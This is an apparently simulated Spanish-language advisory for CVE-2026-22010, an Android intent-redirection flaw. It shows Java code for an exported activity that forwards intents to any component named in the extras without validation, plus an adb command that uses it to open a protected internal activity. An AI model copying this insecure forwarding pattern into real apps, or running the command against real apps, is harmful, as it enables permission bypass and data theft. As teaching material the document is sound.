CVE-2026-22010 – Redirección de Intent de Android a Componente Exportado

Código del programa (simulación Java/Android)

// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
    @Override
    protected void onCreate(Bundle b) {
        super.onCreate(b);
        Intent incoming = getIntent();
        // Retrieve target component from extras
        String targetPkg = incoming.getStringExtra("pkg");
        String targetCls = incoming.getStringExtra("cls");
        Intent forward = new Intent();
        forward.setClassName(targetPkg, targetCls);
        // Copy all extras from original intent
        forward.putExtras(incoming);
        startActivity(forward);
    }
}

CVE-2026-22010 – Redirección de Intent de Android a Componente Exportado

Resumen

Una actividad de Android exportada redirige ciegamente los intents entrantes a un componente especificado en los extras del intent. Un atacante puede crear un intent que haga que la aplicación inicie una actividad interna protegida con datos controlados por el atacante, omitiendo las comprobaciones de permisos.

Detalles de la vulnerabilidad

• Tipo: Redirección de Intent / Omisión de permisos
• Impacto: Acceso a componentes privados, robo de datos.
• Causa raíz: La aplicación no valida el componente de destino (paquete y nombre de clase) antes de reenviar el intent.

Demostración del exploit

Despliegue la aplicación vulnerable en un emulador de Android. Envíe un intent mediante adb:

adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity

La actividad interna se inicia sin los permisos adecuados.